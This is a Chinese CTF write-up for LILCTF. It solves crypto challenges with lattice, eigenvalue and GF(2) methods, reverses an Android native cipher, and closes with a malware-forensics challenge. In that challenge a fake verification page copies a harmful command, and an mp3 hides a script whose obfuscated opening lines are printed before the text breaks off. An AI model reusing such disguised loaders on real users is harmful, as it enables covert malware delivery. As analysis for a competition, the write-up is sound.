碎碎念

第一次的话已经说累了,整点别的 新一轮燃尽之旅,超凡脱俗了,这次的wp很长,因为除了misc我还做了其他方向的内容) lil的题目还是很不错的,感觉学到了不少,很有意思,明年再战 x@:)fp|]W#mc=AXES]{ICf<L,Fq\,ctDFW?rCiJ%^gSu9hylW)UFTio3Sfg\kT(@wl$c0=']-9 最后,彦门🙏永存 image-20250818024025022

Crypto

ez_math

知识点省流

ai梭哈

WP

队友做的,不过ai就能秒

Linear

知识点省流

ai梭哈

WP

简单分析一下可以确定,连上靶机后会得到很多数值,实际上是解线性代数

核心在于求解Ax=b,靶机会给我们一个16x32的矩阵和一个16维的向量,我们需要通过计算去反推一个32维的整数向量

可以将原方程变形为Ax-b=0后,构造增广矩阵M和增光向量y,使得方程为My=0

这也对应了y存在于矩阵M的零空间中,由于反推的整数向量是由范围优先的整数构成的,所以使得y在这个空间中对应的格是一个非常短的向量

用LLL算法去找到这个最短的基向量,再从中提出整数向量即可

 1import os
 2import random
 3import signal
 4
 5signal.alarm(10)
 6
 7flag = os.getenv("LILCTF_FLAG", "LILCTF{default}")
 8
 9nrows = 16
10ncols = 32
11
12A = [[random.randint(1, 1919810) for _ in range(ncols)] for _ in range(nrows)]
13x = [random.randint(1, 114514) for _ in range(ncols)]
14
15b = [sum(A[i][j] * x[j] for j in range(ncols)) for i in range(nrows)]
16print(A)
17print(b)
18
19xx = list(map(int, input("Enter your solution: ").strip().split()))
20if xx != x:
21    print("Oh, your linear algebra needs to be practiced.")
22else:
23    print("Bravo! Here is your flag:")
24    print(flag)

注意这里会用到sage,为了省事不用配环境,直接先用纯sage求值,再拿去给脚本提交(得益于他有10s的空档期):

sage部分

  1from sage.all import Matrix, ZZ, vector
  2
  3
  4A_list = [
  5    [986289, 1037421, 876831, 1437741, 391463, 484363, 174757, 133667, 33369, 663544, 368272, 557013, 996624, 812241,
  6     1810089, 1036354, 1824268, 713830, 1128134, 1102848, 627504, 1892174, 442125, 1833111, 1028453, 538386, 216739,
  7     1006609, 707510, 1249813, 522731, 36698],
  8    [203409, 426197, 1281098, 1144534, 675897, 1918970, 1004113, 1028254, 152856, 438475, 94912, 1681891, 1621577,
  9     1518042, 1609271, 382100, 496878, 1267972, 641440, 1306870, 278998, 1408790, 37982, 597877, 1856474, 1636130,
 10     467636, 675691, 1523323, 710740, 897592, 48877],
 11    [1380819, 1121490, 481366, 1882091, 776973, 412181, 1893086, 1689076, 1279364, 1090203, 446504, 937696, 1356736,
 12     1785698, 1133105, 972225, 1575203, 1628808, 426026, 79155, 1445489, 1250052, 385011, 1395085, 351205, 37635,
 13     1028217, 750745, 41560, 320123, 132041, 494385],
 14    [1421726, 493587, 32734, 569998, 306241, 1601165, 1697481, 1571883, 1691523, 607793, 1004767, 1873328, 1345180,
 15     1209784, 1169513, 1848614, 446834, 1166759, 545221, 636466, 814032, 1633072, 1289697, 960543, 1774293, 1452803,
 16     730007, 1516989, 1331282, 82932, 1811815, 1569724],
 17    [1913284, 156925, 1739402, 1407622, 1802633, 260179, 163974, 856138, 1273063, 1703047, 1738533, 1231103, 576536,
 18     1755015, 1630181, 1855508, 1918715, 1134086, 1317637, 576849, 1362016, 849710, 944924, 1564365, 629381, 629708,
 19     772138, 142314, 1098055, 832171, 92261, 1222165],
 20    [1618817, 421965, 1392391, 1561729, 485494, 619824, 977145, 1551189, 1795400, 1139062, 1466524, 409661, 965273,
 21     585040, 358765, 1189530, 604120, 658588, 1417013, 794961, 1420364, 1708444, 40389, 1221686, 643051, 1225636,
 22     1185726, 778346, 1195177, 1846558, 1531069, 222253],
 23    [1016259, 919507, 1344827, 1194122, 221754, 392545, 1522180, 512245, 1534393, 562810, 900937, 369936, 1181537,
 24     1828728, 1265368, 1793559, 1813844, 726597, 407245, 800557, 82744, 1194000, 1375068, 442390, 1455934, 1268947,
 25     532426, 1267920, 1723155, 735945, 1478460, 698406],
 26    [1612348, 1778328, 1151131, 1378584, 280865, 1086774, 984000, 819430, 1355050, 1445818, 1002362, 809283, 853566,
 27     6779, 1908510, 1616151, 1891947, 857417, 1306696, 1192725, 301572, 1883223, 1671075, 1668606, 1798560, 602156,
 28     1750906, 25655, 1490017, 1375289, 566125, 965745],
 29    [945795, 1533988, 1226815, 1852828, 1792995, 235559, 1095019, 398406, 1644953, 309437, 1202623, 249151, 735025,
 30     1022271, 1605616, 1322261, 1348376, 856010, 914895, 460316, 1529386, 1579741, 1520179, 1656578, 677860, 1587329,
 31     1376986, 88712, 1562922, 1196594, 542579, 938871],
 32    [938165, 756503, 1181327, 876952, 1109414, 310812, 1788066, 1127478, 1383301, 779819, 1685819, 741633, 955059,
 33     89876, 1644211, 927334, 563654, 846757, 1568679, 681586, 1370600, 1281211, 472303, 1338089, 489066, 1791037,
 34     1579375, 459867, 970155, 387258, 1666207, 252526],
 35    [1670347, 1620499, 813248, 292357, 1236744, 319559, 1238708, 1821094, 821535, 1223683, 458896, 378949, 1227848,
 36     1359572, 761771, 1848633, 1585174, 1823304, 1273961, 807635, 1374877, 514873, 567352, 83771, 315289, 996074,
 37     1777508, 1810410, 1504820, 1176888, 628406, 711034],
 38    [920625, 834976, 1329201, 1758883, 1274401, 513926, 1724767, 1098314, 1077424, 611843, 743733, 692149, 1188047,
 39     152124, 1880491, 1514463, 654241, 1370409, 1884735, 197313, 159775, 1706411, 1899881, 1510237, 1082416, 1203683,
 40     391817, 1236066, 1824223, 246962, 1384340, 288478],
 41    [1250927, 753265, 1259730, 1831186, 114382, 838089, 1383458, 1073806, 1291803, 1017817, 518072, 711461, 571913,
 42     989775, 1190410, 662455, 1487547, 1780354, 1098268, 1852925, 1867594, 174231, 231135, 1639009, 924589, 1507918,
 43     1605300, 1591151, 947924, 827984, 469903, 460327],
 44    [270631, 896737, 1284977, 1099006, 1341566, 1606736, 1697002, 57936, 1019214, 1753421, 103988, 1253453, 846179,
 45     1122321, 740064, 411333, 1450647, 1486217, 1624316, 310933, 1299783, 671139, 159159, 1832387, 1497176, 1681814,
 46     683684, 785514, 153169, 1568184, 334745, 182826],
 47    [211918, 9306, 496852, 40006, 1787878, 1715110, 1560885, 1613812, 1877979, 924353, 1018704, 679792, 83326, 1626192,
 48     1405560, 1216057, 1151537, 397417, 537968, 538506, 1169391, 1885481, 338875, 434421, 1882779, 317920, 1054176,
 49     229376, 1534987, 920639, 387936, 1305511],
 50    [1363205, 1206853, 271204, 895646, 757643, 67932, 1626487, 1287113, 190138, 1116279, 1577572, 1751529, 56272,
 51     421504, 1862400, 1645925, 546567, 1692175, 939505, 915664, 1055182, 1063613, 668269, 86659, 1798406, 507627,
 52     558143, 1691137, 1601012, 865184, 24535, 43094]]
 53b_list = [1579724526882, 1522534073530, 1804523948901, 2087834012431, 2189880099453, 2084607882676, 1895922937661,
 54          2203265067225, 2093004261502, 1874182288236, 2028844018471, 1884750643445, 2042413341121, 1876922882194,
 55          1867103071580, 1639944240118]
 56
 57
 58# ==============================================================================
 59# --- 步骤 2: 运行此脚本 (下面的代码无需修改) ---
 60
 61def solve_from_data(A_data, b_data):
 62    """根据给定的 A 和 b 数据,计算并返回解字符串。"""
 63    try:
 64        # 转换为 SageMath 对象
 65        A = Matrix(ZZ, A_data)
 66        b = vector(ZZ, b_data)
 67
 68        # 构造增广矩阵 M = [A | -b]
 69        M = A.augment(-b.column())
 70
 71        # 计算 M 的右零空间并获取其基矩阵
 72        kernel_basis = M.right_kernel().basis_matrix()
 73
 74        # 应用 LLL 算法找到最短向量
 75        lll_basis = kernel_basis.LLL()
 76        short_vector = lll_basis[0]
 77
 78        # 标准化向量,确保最后一个分量为 1
 79        if short_vector[-1] == -1:
 80            solution_y = -short_vector
 81        elif short_vector[-1] == 1:
 82            solution_y = short_vector
 83        else:
 84            # 这种情况在CTF题目中几乎不会发生
 85            return f"错误: LLL求解异常,最后一个元素为 {short_vector[-1]}"
 86
 87        # 提取解 x (除了最后一个元素之外的所有元素)
 88        x = solution_y[:-1]
 89
 90        # 格式化为服务器要求的空格分隔的字符串
 91        solution_str = ' '.join(map(str, x))
 92        return solution_str
 93
 94    except Exception as e:
 95        return f"计算过程中发生错误: {e}"
 96
 97
 98# 执行计算并打印结果
 99if __name__ == "__main__":
100    # 检查占位符数据是否已被替换
101    if A_list == [[1, 2, 3], [4, 5, 6]]:
102        print("错误:请先将从 connector.py 获取的真实数据粘贴到此脚本中!")
103    else:
104        solution = solve_from_data(A_list, b_list)
105        print("\n" + "=" * 65)
106        print("计算完成!请将下面的解复制并粘贴到 connector.py 的运行终端中:")
107        print("=" * 65 + "\n")
108        print(solution)
109        print("\n" + "=" * 65)

提交

 1from pwn import *
 2
 3HOST = 'challenge.xinshi.fun'
 4PORT = 39782
 5
 6
 7def main():
 8    try:
 9        r = remote(HOST, PORT)
10    except Exception as e:
11        log.error(f"连接失败: {e}")
12        return
13
14    # --- 1. 获取题目 ---
15    log.info("正在从服务器获取矩阵 A 和向量 b...")
16    line_A = r.recvline().strip().decode()
17    line_b = r.recvline().strip().decode()
18
19    # 为了方便复制,我们打印成 Python 代码格式
20    print("\n" + "=" * 60)
21    print("请将以下内容完整复制到 'solver.sage' 文件中,然后运行它:")
22    print("=" * 60 + "\n")
23    print(f"A_list = {line_A}")
24    print(f"b_list = {line_b}")
25    print("\n" + "=" * 60)
26
27    # --- 2. 等待用户输入计算出的解 ---
28    log.info("等待您输入从 Sage 脚本计算出的解...")
29    r.recvuntil(b'Enter your solution: ')
30
31    try:
32        solution_str = input("[+] 请在此处粘贴解并按回车: ")
33    except EOFError:
34        log.error("输入被中断。")
35        r.close()
36        return
37
38    # --- 3. 提交解并获取 Flag ---
39    log.info("正在发送解...")
40    r.sendline(solution_str.encode())
41
42    log.success("解已发送!接收服务器响应...")
43
44    # 打印最终的服务器响应
45    response = r.recvall(timeout=2).decode(errors='ignore')
46    print("\n" + "=" * 20 + " 服务器响应 " + "=" * 20)
47    print(response)
48    print("=" * 55)
49
50    r.close()
51
52
53if __name__ == "__main__":
54    main()

mid_math

知识点省流

ai梭哈

WP

简单来说,核心就在于用线代的特征值藏了一个key

矩阵C和D满足D=C^key

通过计算他们的特征值可以将问题转为线代问题,然后用离散对数解出key

最后解密即可

 1# 文件名: calculate_keys.sage
 2# 运行方式: sage calculate_keys.sage
 3from sage.all import *
 4
 5# --- 已知信息 ---
 6p = 14668080038311483271
 7C_list = [[11315841881544731102, 2283439871732792326, 6800685968958241983, 6426158106328779372, 9681186993951502212], [4729583429936371197, 9934441408437898498, 12454838789798706101, 1137624354220162514, 8961427323294527914], [12212265161975165517, 8264257544674837561, 10531819068765930248, 4088354401871232602, 14653951889442072670], [6045978019175462652, 11202714988272207073, 13562937263226951112, 6648446245634067896, 13902820281072641413], [1046075193917103481, 3617988773170202613, 3590111338369894405, 2646640112163975771, 5966864698750134707]]
 8D_list = [[1785348659555163021, 3612773974290420260, 8587341808081935796, 4393730037042586815, 10490463205723658044], [10457678631610076741, 1645527195687648140, 13013316081830726847, 12925223531522879912, 5478687620744215372], [9878636900393157276, 13274969755872629366, 3231582918568068174, 7045188483430589163, 5126509884591016427], [4914941908205759200, 7480989013464904670, 5860406622199128154, 8016615177615097542, 13266674393818320551], [3005316032591310201, 6624508725257625760, 7972954954270186094, 5331046349070112118, 6127026494304272395]]
 9
10# 1. 设置 SageMath 的有限域和矩阵
11P = GF(p)
12C_mat = matrix(P, C_list)
13D_mat = matrix(P, D_list)
14
15print("[SAGE] 正在计算矩阵 C 和 D 的特征值...")
16# 2. 计算特征值并过滤掉 0
17C_eigenvalues = [v for v in C_mat.eigenvalues() if v != 0]
18D_eigenvalues = [v for v in D_mat.eigenvalues() if v != 0]
19
20print(f"[SAGE] C 的非零特征值: {C_eigenvalues}")
21print(f"[SAGE] D 的非零特征值: {D_eigenvalues}")
22
23# 3. 遍历所有可能的特征值配对,求解离散对数
24potential_keys = set() # 使用集合来自动去重
25for c_eig in C_eigenvalues:
26    for d_eig in D_eigenvalues:
27        try:
28            # 求解离散对数: d_eig = c_eig ^ key
29            key_candidate = d_eig.log(c_eig)
30            potential_keys.add(int(key_candidate))
31        except (ValueError, TypeError):
32            # 如果配对不正确,log 会失败
33            continue
34
35print("\n" + "="*50)
36print("[SAGE] 数学计算完成。")
37print("[SAGE] 所有可能的候选 Key 如下:")
38print(list(potential_keys))
39print("="*50)
40print("\n请将上面的列表复制到下一个 Python 脚本中。")

exp.py

 1# 文件名: decrypt_flag.py
 2# 运行方式: python decrypt_flag.py
 3from Crypto.Cipher import AES
 4from Crypto.Util.Padding import pad, unpad
 5from Crypto.Util.number import long_to_bytes
 6
 7# --- 已知信息 ---
 8msg = b"\xcc]B:\xe8\xbc\x91\xe2\x93\xaa\x88\x17\xc4\xe5\x97\x87@\x0fd\xb5p\x81\x1e\x98,Z\xe1n`\xaf\xe0%:\xb7\x8aD\x03\xd2Wu5\xcd\xc4#m'\xa7\xa4\x80\x0b\xf7\xda8\x1b\x82k#\xc1gP\xbd/\xb5j"
 9
10# --- 粘贴从 Sage 脚本得到的候选 Key 列表 ---
11# 例如: potential_keys = [12345, 67890, ...]
12potential_keys = [6448373187654316742] # 提示:这里我已经把上一步的计算结果填好了
13
14
15# --- 开始解密 ---
16print("[PYTHON] 开始尝试使用候选 Key 进行解密...")
17found = False
18for key_int in potential_keys:
19    try:
20        print(f"\n[*] 正在尝试 Key: {key_int}")
21        
22        # 1. 准备 AES 密钥
23        aes_key = pad(long_to_bytes(key_int), 16)
24        
25        # 2. 创建解密器并解密
26        cipher = AES.new(aes_key, AES.MODE_ECB)
27        decrypted_padded = cipher.decrypt(msg)
28        
29        # 3. 反填充
30        # 原始脚本使用 pad(flag, 64),所以 unpad 时 block_size 也是 64
31        decrypted = unpad(decrypted_padded, 64)
32
33        # 4. 验证解密结果
34        if decrypted.startswith(b'LILCTF{'):
35            print("\n" + "="*50)
36            print(f"[SUCCESS] 找到正确的 Key: {key_int}")
37            print(f"[SUCCESS] 解密成功! Flag 是: {decrypted.decode()}")
38            print("="*50)
39            found = True
40            break
41        else:
42            print(f"[-] 解密内容不正确: {decrypted}")
43
44    except Exception as e:
45        # 可能是 unpad 错误,说明 key 不正确
46        print(f"[-] 解密或反填充失败: {e}")
47        continue
48
49if not found:
50    print("\n[FAIL] 遍历了所有候选 Key,但未能解密 Flag。")

Space Travel

知识点省流

ai梭哈

WP

直接利用题目给出的数据构建线性方程组去求解密钥的话需要解2^50量级的解空间

直接暴力求解是很难的,经过多次尝试后,留意到vecs表追踪共给了4096个向量,恰好是其张成的13维子空间的一半((2^13)/2),可以利用这些向量的基坐标去满足一个仿射线性方程,基于这个约束建立50个线性方程,直接构建出一个可直接求解的50x50的方程组,从而解出密钥

  1import numpy as np
  2from hashlib import md5
  3from Crypto.Cipher import AES
  4
  5# --- 请将从题目文件中获得的数据填入此处 ---
  6
  7# TODO: 在这里粘贴来自 'params.py' 的 'vecs' 列表
  8vecs_str = []
  9
 10# TODO: 在这里粘贴来自 'output.txt' 中'🎁'部分的列表
 11data = []
 12
 13# TODO: 在这里粘贴来自 'output.txt' 中'🚩'部分的加密Flag
 14# 请确保它是一个字节对象 (以 b' 开头)
 15
 16encrypted_flag = b''
 17
 18
 19
 20# --- 数据填充结束 ---
 21
 22def get_rref_and_pivots(A):
 23    """计算矩阵A在GF(2)上的简化行阶梯形(RREF)和主元列索引"""
 24    m, n = A.shape
 25    A_rref = A.copy()
 26    pivot_cols = []
 27    pivot_row = 0
 28    col_order = list(range(n))
 29
 30    for j in range(n):
 31        if pivot_row < m:
 32            i = pivot_row
 33            while i < m and A_rref[i, j] == 0:
 34                i += 1
 35            if i < m:
 36                A_rref[[pivot_row, i]] = A_rref[[i, pivot_row]]
 37                for row_idx in range(m):
 38                    if row_idx != pivot_row and A_rref[row_idx, j] == 1:
 39                        A_rref[row_idx, :] ^= A_rref[pivot_row, :]
 40                pivot_cols.append(j)
 41                pivot_row += 1
 42    
 43    for i in range(len(pivot_cols) - 1, -1, -1):
 44        pivot_col = pivot_cols[i]
 45        for row_idx in range(i):
 46            if A_rref[row_idx, pivot_col] == 1:
 47                A_rref[row_idx, :] ^= A_rref[i, :]
 48                
 49    return A_rref, pivot_cols
 50
 51
 52def solve_linear_system_gf2(A, b):
 53    """使用高斯消元法求解 Ax = b 在 GF(2) 上的一个特解"""
 54    m, n = A.shape
 55    aug = np.hstack([A.copy(), b.reshape(-1, 1)])
 56    aug_rref, pivot_cols = get_rref_and_pivots(aug)
 57    
 58    x = np.zeros(n, dtype=np.uint8)
 59    # 检查解是否存在
 60    for i in range(len(pivot_cols), m):
 61        if aug_rref[i, -1] == 1:
 62            raise ValueError("System has no solution")
 63
 64    for i, p_col in enumerate(pivot_cols):
 65        if p_col < n:
 66            x[p_col] = aug_rref[i, -1]
 67    return x
 68
 69
 70def get_null_space_basis(A):
 71    """求解矩阵A在GF(2)上的零空间基"""
 72    m, n = A.shape
 73    A_rref, pivot_cols = get_rref_and_pivots(A)
 74    free_cols = sorted(list(set(range(n)) - set(pivot_cols)))
 75    
 76    basis = []
 77    for f_col in free_cols:
 78        v = np.zeros(n, dtype=np.uint8)
 79        v[f_col] = 1
 80        for i, p_col in enumerate(pivot_cols):
 81            if A_rref[i, f_col] == 1:
 82                v[p_col] = 1
 83        basis.append(v)
 84    return np.array(basis, dtype=np.uint8).T
 85
 86
 87def solve_challenge():
 88    if not all([vecs_str, data, encrypted_flag]):
 89        print("错误:请先在脚本中填入 'vecs_str', 'data', 和 'encrypted_flag' 的值。")
 90        return
 91
 92    print("步骤 1: 分析vecs列表,找到隐藏的线性约束...")
 93    vecs_np = np.array([[int(c) for c in v] for v in vecs_str], dtype=np.uint8)
 94    
 95    # 1a. 计算vecs空间的基
 96    rref_vecs, p_cols_vecs = get_rref_and_pivots(vecs_np)
 97    rank = len(p_cols_vecs)
 98    basis_matrix = rref_vecs[:rank]
 99    print(f"  - vecs空间的秩 (Rank) = {rank}")
100    
101    # 1b. 将所有vecs向量表示为基的系数
102    # 为了求解 a @ B = v,我们解 B.T @ a.T = v.T
103    B_T = basis_matrix.T
104    coeffs = []
105    for v in vecs_np:
106        a = solve_linear_system_gf2(B_T, v)
107        coeffs.append(a)
108    coeffs_matrix = np.array(coeffs, dtype=np.uint8)
109
110    # 1c. 找到系数矩阵的仿射约束 w, b
111    # 寻找一个向量 (w, b) 使得 [coeffs_matrix | 1] @ (w, b).T = 0
112    aug_coeffs = np.hstack([coeffs_matrix, np.ones((len(coeffs_matrix), 1), dtype=np.uint8)])
113    affine_constraint = get_null_space_basis(aug_coeffs)[:, 0]
114    w = affine_constraint[:-1]
115    b = affine_constraint[-1]
116    print("  - 成功找到隐藏的线性约束方程!")
117
118    print("步骤 2: 构建主线性方程组...")
119    num_unknowns = 50 * rank
120    A_new = np.zeros((len(data), num_unknowns), dtype=np.uint8)
121    p = np.array([item[1] for item in data], dtype=np.uint8)
122
123    for i, (nonce, _) in enumerate(data):
124        nonce_bits = format(nonce, f'0{50*16}b')
125        row = []
126        for j in range(50):
127            n_j = np.array([int(b) for b in nonce_bits[j*16:(j+1)*16]], dtype=np.uint8)
128            row.extend((basis_matrix @ n_j) % 2)
129        A_new[i] = np.array(row, dtype=np.uint8)
130
131    print("步骤 3: 求解主方程组的特解和零空间...")
132    M_p_flat, N_basis = get_null_space_basis(A_new), get_null_space_basis(np.hstack([A_new, p.reshape(-1,1)]))
133    M_p_flat = N_basis[:num_unknowns, -1]
134    N_basis = N_basis[:num_unknowns, :-1]
135
136    d_null = N_basis.shape[1]
137    print(f"  - 特解已找到,零空间维度为 {d_null}")
138
139    print("步骤 4: 利用隐藏约束构建新方程组,直接求解零空间系数...")
140    M_p = M_p_flat.reshape(50, rank)
141    Ac = np.zeros((50, d_null), dtype=np.uint8)
142    bc = np.zeros(50, dtype=np.uint8)
143
144    for j in range(50):
145        # (M_p_j + sum(c_i * N_ij)) @ w + b = 0
146        # sum(c_i * (N_ij @ w)) = M_p_j @ w + b
147        for i in range(d_null):
148            N_ij = N_basis[:, i].reshape(50, rank)[j]
149            Ac[j, i] = (N_ij @ w) % 2
150        bc[j] = ((M_p[j] @ w) % 2 + b) % 2
151
152    print("  - 新方程组构建完毕,求解...")
153    c = solve_linear_system_gf2(Ac, bc)
154    print("  - 成功求解出唯一的零空间系数!")
155
156    print("步骤 5: 重构最终密钥...")
157    M_correct_flat = (M_p_flat + N_basis @ c) % 2
158    coefficients = M_correct_flat.reshape(50, rank)
159    key_blocks = (coefficients @ basis_matrix) % 2
160    key_str = "".join("".join(map(str, row)) for row in key_blocks)
161    key = int(key_str, 2)
162    print("  - 密钥重构成功。")
163
164    print("步骤 6: 解密Flag...")
165    aes_key = md5(str(key).encode()).digest()
166    cipher = AES.new(key=aes_key, nonce=b"Tiffany", mode=AES.MODE_CTR)
167    flag = cipher.decrypt(encrypted_flag)
168    
169    print("\n" + "="*40)
170    try:
171        print(f"🚩 Flag: {flag.decode()}")
172    except UnicodeDecodeError:
173        print(f"🚩 Flag (原始字节): {flag}")
174    print("="*40)
175
176if __name__ == '__main__':
177    solve_challenge()

126e15f5-d700-4a3a-855f-3eceff99e0bb

Re

ARM ASM

知识点省流

简单的安卓逆向

WP

先用ida分析一下apk里面的so,找到mainactivity,看不懂就丢给ai分析,大致可以确定是一个对输入字符串的加解密编码的过程,同时里面引入了一个t的值

5de07ace-f1e0-4014-bb4f-e14114c00857

可以看到里面用到了一个base64的编码函数,找到t对应的位置,还能看到base64的索引表,这里被魔改了

9fd551be-d941-432a-90e0-7eb80b1d5cb6

所以提出t的值和base64索引表后,我们就可以写解密脚本了,但现在我们还需要密文

这里需要用到jadx去打开apk,老样子还是找mainactivity,就能看到下面加密字符串

0a0859fd-f92d-4d2e-92cf-3ff91487113a

最后搓脚本就好

  1# --- 自定义字符表 ---
  2CUSTOM_BASE64_ALPHABET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ3456780129+/"
  3
  4# --- 常量和初始数据 ---
  5
  6# t表保持不变
  7t_table = [0xD, 0xE, 0xF, 0xC, 0xB, 0xA, 9, 8, 6, 7, 5, 4, 2, 3, 1, 0]
  8
  9# 加密的字符串
 10encrypted_str = "KRD2c1XRSJL9e0fqCIbiyJrHW1bu0ZnTYJvYw1DM2RzPK1XIQJnN2ZfRMY4So09S"
 11
 12
 13# --- 辅助函数 ---
 14
 15def custom_b64decode(encoded_string):
 16    """
 17    使用自定义的Base64字符表解码字符串。
 18    """
 19    # 创建从字符到索引值的反向映射
 20    decode_map = {char: i for i, char in enumerate(CUSTOM_BASE64_ALPHABET)}
 21
 22    # 移除任何可能的填充符(尽管在这个例子中没有)
 23    encoded_string = encoded_string.rstrip('=')
 24
 25    # 将编码字符串转换为6位的整数值列表
 26    sextets = [decode_map[char] for char in encoded_string]
 27
 28    decoded_bytes = bytearray()
 29    # 以4个值为一组进行处理 (4 * 6位 = 24位 = 3字节)
 30    for i in range(0, len(sextets), 4):
 31        chunk = sextets[i:i + 4]
 32
 33        # 将4个6位值合并成一个24位整数
 34        val = (chunk[0] << 18) | (chunk[1] << 12) | (chunk[2] << 6) | chunk[3]
 35
 36        # 将24位整数拆分为3个8位字节
 37        byte1 = (val >> 16) & 0xFF
 38        byte2 = (val >> 8) & 0xFF
 39        byte3 = val & 0xFF
 40
 41        decoded_bytes.extend([byte1, byte2, byte3])
 42
 43    # 根据填充情况处理末尾
 44    if encoded_string.endswith('=='):
 45        return decoded_bytes[:-2]
 46    elif encoded_string.endswith('='):
 47        return decoded_bytes[:-1]
 48
 49    return decoded_bytes
 50
 51
 52def rol(byte, shift):
 53    """
 54    对一个字节执行左循环移位 (ROL)。
 55    """
 56    return ((byte << shift) | (byte >> (8 - shift))) & 0xFF
 57
 58
 59def get_table_for_iteration(i):
 60    """
 61    计算在加密循环的第 'i' 次迭代时使用的v10表。
 62    表在每次迭代中被使用后才会更新。
 63    """
 64    current_table = list(t_table)
 65    # i=0时, 使用原始的t表。
 66    # i=1时, 使用原始的t表。
 67    # i=2时, 使用 t表 XOR [1,1,1,...] 后的表。
 68    if i == 2:
 69        for j in range(16):
 70            current_table[j] ^= 1
 71    return current_table
 72
 73
 74def unshuffle(data_chunk, table):
 75    """
 76    逆转查询表操作 (vqtbl1q_s8)。
 77    加密: shuffled[j] = plain[table[j]]
 78    解密: plain[table[j]] = shuffled[j]
 79    """
 80    if len(data_chunk) != 16 or len(table) != 16:
 81        raise ValueError("数据和表都必须是16字节。")
 82
 83    plain_chunk = [0] * 16
 84    for i in range(16):
 85        # 目标索引是 table[i]
 86        # 要放置的值是 data_chunk[i]
 87        plain_chunk[table[i]] = data_chunk[i]
 88
 89    return plain_chunk
 90
 91
 92# --- 解密流程 ---
 93
 94# 1. 使用自定义的字符表进行Base64解码
 95try:
 96    decoded_data = custom_b64decode(encrypted_str)
 97    print(f"[+] 使用自定义字符表解码后的数据 (长度={len(decoded_data)}): {decoded_data.hex()}")
 98except Exception as e:
 99    print(f"[-] 自定义Base64解码失败: {e}")
100    exit()
101
102if len(decoded_data) != 48:
103    print(f"[-] 错误: 解码后的数据长度不是48字节, 而是 {len(decoded_data)}。")
104    exit()
105
106# 2. 逆转第二个循环 (位操作)
107# 加密是ROR (右循环移位), 所以我们用ROL (左循环移位) 来逆转。
108data_after_bit_ops_reversal = bytearray(decoded_data)
109for j in range(0, 48, 3):
110    # 逆转: v11[j] = ROR(v11[j], 5) => v11[j] = ROL(v11[j], 5)
111    data_after_bit_ops_reversal[j] = rol(data_after_bit_ops_reversal[j], 5)
112
113    # 逆转: v11[j+1] = ROR(v11[j+1], 1) => v11[j+1] = ROL(v11[j+1], 1)
114    data_after_bit_ops_reversal[j + 1] = rol(data_after_bit_ops_reversal[j + 1], 1)
115
116    # v11[j+2] 没有被修改, 所以我们什么都不做。
117
118print(f"[+] 逆转位旋转操作后的数据: {data_after_bit_ops_reversal.hex()}")
119
120# 3. 逆转第一个循环 (NEON逻辑)
121# 我们必须以相反的顺序迭代: 2, 1, 0。
122final_decrypted_data = bytearray(data_after_bit_ops_reversal)
123
124for i in range(2, -1, -1):
125    # 获取当前处理的16字节数据块
126    start = 16 * i
127    end = start + 16
128    encrypted_chunk = final_decrypted_data[start:end]
129
130    # 获取本次迭代对应的正确的表
131    current_table = get_table_for_iteration(i)
132
133    # 步骤 3.1: 逆转XOR操作
134    # encrypted_chunk = XOR(shuffled_plain, table) => shuffled_plain = XOR(encrypted_chunk, table)
135    shuffled_plain = [c ^ t for c, t in zip(encrypted_chunk, current_table)]
136
137    # 步骤 3.2: 逆转shuffle操作 (vqtbl1q_s8)
138    plain_chunk = unshuffle(shuffled_plain, current_table)
139
140    # 将解密后的数据块放回数据数组中
141    final_decrypted_data[start:end] = bytearray(plain_chunk)
142
143# --- 最终结果 ---
144try:
145    result_string = final_decrypted_data.decode('utf-8')
146    print("\n========================================")
147    print(f"✅ Flag/解密后的字符串: {result_string}")
148    print("========================================")
149except UnicodeDecodeError:
150    print("\n========================================")
151    print("[-] 无法将结果解码为UTF-8字符串。原始字节如下:")
152    print(f"解密后的字节: {final_decrypted_data.hex()}")
153    print("========================================")

1’M no7 A rO6oT

知识点省流

还算简单的恶意代码取证逆向

WP

首先题目提到了自行承担后果,所以铁定没什么好事

进靶机之后根据他的验证提示,发现这里莫名其妙复制了一串命令(如果真执行了就会关机tmd)

54db7f9a-c8b9-48a0-ad57-bb1d5144411d

拉出来分析,发现他访问了一个mp3文件,给他下下来,不用说都知道里面有恶意代码或者程序,但是直接010看尾巴看不出来,内容有一点多,所以我一点点翻,发现这里有个script,所以把他前后截断提取出来

6daccc6e-410e-4eb3-84ba-be240d20f30e

提取得到代码如下,这其实就js,

1<script>window.resizeTo(0, 0);window.moveTo(-9999, -9999); SK=102;UP=117;tV=110;Fx=99;nI=116;pV=105;wt=111;RV=32;wV=82;Rp=106;kz=81;CX=78;GH=40;PS=70;YO=86;kF=75;PO=113;QF=41;sZ=123;nd=118;Ge=97;sV=114;wl=104;NL=121;Ep=76;uS=98;Lj=103;ST=61;Ix=34;Im=59;Gm=101;YZ=109;Xj=71;Fi=48;dL=60;cX=46;ho=108;jF=43;Gg=100;aV=90;uD=67;Nj=83;US=91;tg=93;vx=45;xv=54;QB=49;WT=125;FT=55;yN=51;ff=44;it=50;NW=53;kX=57;zN=52;Mb=56;Wn=119;sC=65;Yp=88;FF=79;var SxhM = 